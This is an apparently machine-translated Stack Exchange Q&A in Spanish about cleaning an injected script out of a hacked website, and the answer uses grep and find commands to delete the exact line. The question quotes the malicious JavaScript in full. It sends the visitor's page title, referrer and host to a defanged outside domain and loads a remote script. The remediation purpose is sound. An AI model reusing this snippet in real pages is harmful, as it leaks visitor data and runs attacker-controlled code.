reemplace la cadena de texto larga (script con MUCHOS caracteres especiales). sed, awk, grep

reemplace la cadena de texto larga (script con MUCHOS caracteres especiales). sed, awk, grep

Mi sitio fue pirateado/infectado. Reemplacé la URL del enlace malicioso, pero otros elementos en el script malicioso aún hacen que mi sitio se bloquee. Sin insertar un centenar de "escapes", ¿cómo puedo eliminar el siguiente script de tres docenas de archivos en mi sitio?

< script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "hxxp://xxxxx_hack_was_here_z_s_e_r_f_._c_o_m/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('< script type="text/javascript" src="' + f_url + '">' + '<' + '/ script>');} < /script>

Otras páginas de stack-exchange no responden a esta pregunta.

Para reemplazar la URL maliciosa con xxxx_hack_was_here, etc., utilicé: find . -type f -name "*.php" -exec sed -i 's/zserf.com/xxxxx_hack_was here_z_serf/g' {} +

Respuesta1

En primer lugar, estoy de acuerdo con los comentarios anteriores:No lo utilices sedpara recuperarte de un hackeo. Siempre te preguntarás si te perdiste algo. Restaurar desde la copia de seguridad, punto.

Sin embargo, la pregunta literal que hizo, cómo eliminar una cadena larga en todos los lugares donde aparece sin escapar de cada carácter especial, es algo más fácil de manejar.

Estoy haciendo algunas inferencias/suposiciones a partir de tu pregunta que en realidad no mencionaste directamente:

  1. Que la cadena a eliminar sea de una sola línea.
  2. Que es lo mismo cada vez que ocurre.
  3. que tiene que serremoto, no reemplazado por otra cosa.

Si las suposiciones anteriores son correctas, haga lo siguiente:

  1. Coloque la cadena que se va a eliminar (incluido cualquier espacio en blanco final) en un archivo independiente, llamado, por ejemplo hackline.txt, . Pon este nivelarribael directorio que vas a manejar.
  2. Copie todo su directorio en caso de errores.

    cp -a mydir mydircopy
    
  3. Ejecute el siguiente bucle en su directorio (o la copia) para eliminar todas las instancias de la línea de hackeo:

    cd mydir
    for f in *; do
      [ -f "$f" ] && [ -r "$f" ] || continue
      grep -vxFf ../hackline.txt "$f" > "$f.fixed" &&
        mv -- "$f.fixed" "$f"
    done
    

El concepto aquí es que se usa hackline.txtcomo una lista de cadenas fijas que deben coincidir con toda la línea, luego se usa greppara obtener solo las líneas quenocoincide con esa lista de cadenas.

-xsignifica "línea completa"; -Fsignifica "cadena fija, no expresión regular"; -vinvierte la búsqueda; -facepta una lista de patrones en un archivo.

Si el directorio de su sitio web es jerárquico en lugar de plano (lo cual es bastante probable), puede usar finden lugar de un bucle for:

find mydir -type f ! -name \*.fixed -exec sh -c 'grep -vxFf ../hackline.txt "$1" > "$1.fixed"' sh {} \;
find mydir -type f -name \*.fixed -exec sh -c 'mv -- "$1" "${1%.fixed}"' sh {} \;

Luego usa un recursivo diffpara comprobar que todo está como debe ser:

diff -r mydircopy mydir

información relacionada